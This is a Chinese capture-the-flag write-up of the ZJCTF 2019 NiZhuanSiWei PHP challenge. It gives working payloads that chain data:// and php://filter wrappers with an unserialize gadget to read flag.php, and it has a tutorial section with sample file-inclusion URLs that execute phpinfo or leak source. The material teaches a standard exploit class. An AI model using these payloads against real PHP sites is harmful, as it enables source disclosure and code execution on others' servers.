文件包含 [ZJCTF 2019]NiZhuanSiWei1

打开题目

代码审计

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){

首先isset函数检查text参数是否存在且不为空

用file_get_contents函数读取text制定的文件内容并与welcome to the zjctf进行强比较

echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";

如果强比较相等的话,则输出text的内容

if(preg_match("/flag/",$file)){
echo "Not now!";

如果强比较不相等的话,则检查文件内容是否包含/flag,如果包含,则输出Not now

}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;

如果文件内容不包含/flag的话,file指定的文件包含到脚本中,这里提示了useless.php,然后对password的值进行反序列化,然后输出password的值

第一步

所以我们需要传入text文件值必须为welcome to the zjctf

1.用php://input协议以post传参的形式写入,

2.用data伪协议写入内容

welcome to the zjctf的base64编码为d2VsY29tZSB0byB0aGUgempjdGY=

payload:

http://127.0.0.1/include.php?file=data://text/plain,welcome to the zjctf

或者

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

传参后页面回显

第二步

我们用php://filter协议读取file下的useless.php的文件内容

这里我们需要注意用php://filter读取的文件内容是被base64加密后的内容

?file=php://filter/convert.base64-encode/resource=useless.php

和第一步的payload拼接一下即得到第二步的payload

payload:

?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

或者

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

页面回显

第三步

将上一步得到的useless.php的文件内容进行base64解码后得到

得到代码

复制代码
<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

代码审计

class Flag{ //flag.php

public $file;

定义了一个名为Flag的类,然后file参数为公有属性,公共属性$file意味着任何地方都可以访问并修改它。

public function __tostring(){

在类中定义一个 _toString的方法,且设为公有属性,返回字符串信息

if(isset($this->file)){

echo file_get_contents($this->file);

echo "<br>";

如果file的值不为null,输出文件包含下的file值

在第一次的代码审计中,我们需要将password的值进行反序列化操作

那我们可以在在本地搭建网站进行反序列化操作

复制代码
<?php
 
class Flag{  //flag.php  
    public $file="flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$a=new Flag();
echo serialize($a);
?>

结果为

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

三步的payload拼接一下即可得到最后的payload

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

或者

?text=data://text/plain,welcome to the zjctf&file=useless.php&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

查看源代码得到flag

复制代码

知识点:

什么是文件包含漏洞?

SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行

以PHP为例,常用的文件包含函数有以下四种

require() :找不到被包含的文件会产生致命错误,并停止脚本运行
include() :找不到被包含的文件只会产生警告,脚本继续执行
require_once() 与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
include_once() 与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含

  • php伪协议

php://filter用于读取源码。

php://input用于执行php代码。

  • php isset函数

isset() 函数检查变量是否被设置,这意味着它必须被声明并且不为 NULL。

  • php file_get_contents函数

将整个文件读入一个字符串

碰到file_get_contents()就要想到用php://input绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据。php://input用于执行php代码。
  • php://input

可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。

  • data://

数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行

实例用法

1、data://text/plain,

http://127.0.0.1/include.php?file=data://text/plain**,**\<?php%20phpinfo();?>

2、data://text/plain;base64,

http://127.0.0.1/include.php?file=data://text/plain**;**base64,PD9waHAgcGhwaW5mbygpOz8%2B

  • php://filter

对本地磁盘文件进行读写,php://filter读取php文件时候需要base64编码

实例用法:

php://filter/read=convert.base64-encode/resource=[文件名]

http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php

http://127.0.0.1/include.php?file=php://filter/convert.base64-encode/resource=phpinfo.php

效果一样的

  • php类定义 class关键词

图源:PHP 面向对象 | 菜鸟教程

类的基本概念

  • 以关键词class开头,后面跟着类名,类名后面跟着一对花括号,里面包含有类的属性、方法的定义。

  • 类名:由字母、数字、下划线组成。字母或下划线开头。

  • 一个类里包含有自己的常量,类的属性(变量),类的方法(函数)。

  • php public关键词

public 关键字是访问修饰符。 它将属性或方法标记为公共。

任何可以访问对象的代码都可以使用公共属性和方法。公共属性意味着任何地方都可以访问并修改它。

  • php _toString魔术方法

__toString()是快速获取对象的字符串信息的便捷方式

当我们调试程序时,需要知道是否得出正确的数据。比如打印一个对象时,看看这个对象都有哪些属性,其值是什么,如果类定义了toString方法,就能在测试时,echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据。使用__toString() 时返回值一定要使用return 来进行返回

__toString() 方法用于一个类被当成字符串时应怎样回应

而function _tostring 就是在类中定义一个 _toString的方法

参考文章;PHP魔术方法之 __toString()-CSDN博客

复制代码

知识点选自:

【精选】PHP伪协议详解-CSDN博客

文件包含漏洞全面详解_caker丶的博客-CSDN博客

【精选】文件包含&PHP伪协议利用_file_get_contents()支持的协议-CSDN博客

相关推荐
2301_7807896611 分钟前
渗透测试真的能发现系统漏洞吗
服务器·网络·安全·web安全·网络安全
嘉里蓝海14 分钟前
我在嘉顺达蓝海的安全坚守
安全
你的人类朋友2 小时前
认识一下Bcrypt哈希算法
后端·安全·程序员
Coovally AI模型快速验证6 小时前
基于YOLO集成模型的无人机多光谱风电部件缺陷检测
人工智能·安全·yolo·目标跟踪·无人机
夏天的风998 小时前
本地部署PLM系统,如何用 ZeroNews 实现远程访问?
安全·远程工作
wanhengidc8 小时前
高性价比云手机挑选指南
运维·网络·安全·游戏·智能手机
拉法豆粉10 小时前
三方软件测试可移植性测试哪些内容
数据库·安全
午夜游鱼12 小时前
Go 泛型实战:一行代码封装 sync.Pool,性能与安全兼得
开发语言·安全·golang
在安全厂商修设备12 小时前
XSS 跨站脚本攻击剖析与防御 - 第一章:XSS 初探
web安全·网络安全·xss
半桔13 小时前
【Linux手册】信号量与建造者模式:以 PV 操作保证并发安全,分步组装构建复杂对象
linux·运维·安全·建造者模式